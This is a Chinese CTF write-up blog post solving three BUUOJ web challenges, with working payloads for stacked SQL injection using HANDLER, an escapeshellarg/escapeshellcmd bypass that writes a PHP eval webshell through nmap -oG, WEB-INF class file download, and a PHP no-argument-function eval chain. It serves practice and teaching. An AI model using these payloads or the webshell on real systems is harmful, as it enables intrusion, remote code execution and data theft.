BUU 刷题小记录

前言

一、Blacklist

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
用这个语句查看过滤
在这里插入图片描述
发现过滤了这些
过滤了select 堆叠注入
1’;show tables;%23
在这里插入图片描述
1’;show columns from FlagHere; %23
在这里插入图片描述

由于过滤了prepare和alert
我们可以用
HANDLER方法
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
在这里插入图片描述

remote_addr和x_forwarded_for这两个是见的比较多的,服务器获取ip用的,这里没什么用
https://paper.seebug.org/164/
escapeshellarg()和escapeshellcmd() 这里看
直接找到了上面这篇文章,这两个函数在一起用会有些问题

传入的参数是:172.17.0.2’ -v -d a=1
经过escapeshellarg处理后变成了’172.17.0.2’’’ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成’172.17.0.2’\’’ -v -d a=1’,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl ‘172.17.0.2’\’’ -v -d a=1’,由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1’,即向172.17.0.2\发起请求,POST 数据为a=1’。
这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…

这时候就只有想想能不能利用nmap来做些什么了。

这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…

?host=’ <?php @eval($_POST["hack"]);?> -oG hack.php ’
在这里插入图片描述

c95c8fe5ba48b06eb70da18cb579777c
文件夹出来了,用蚁剑连hack.php
http://92440d52-0025-48dd-9ac8-aa7c1206916c.node4.buuoj.cn:81/c95c8fe5ba48b06eb70da18cb579777/hack.php

二、[RoarCTF 2019]Easy Java

WEB-INF主要包含一下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件 漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码 打开题目,点击help,抓包修改为POST得到报错信息根据题目提示。我们传入filename值为
看到
com.Wm.ctf.FlagController
关键路径
根据前文:
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
我们结合tomcat的项目存放路径经验试试下载FlagController.class试试
payload:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
在这里插入图片描述

三、[GXYCTF2019]禁止套娃

这个考的是 git源码泄露
git泄露源码,利用githack 得到源码
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

源码:

<?php include "flag.php"; echo "flag在哪里呢?
"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>

payload:
print_r(scandir(pos(localeconv())));
在这里插入图片描述

之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出
payload:

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值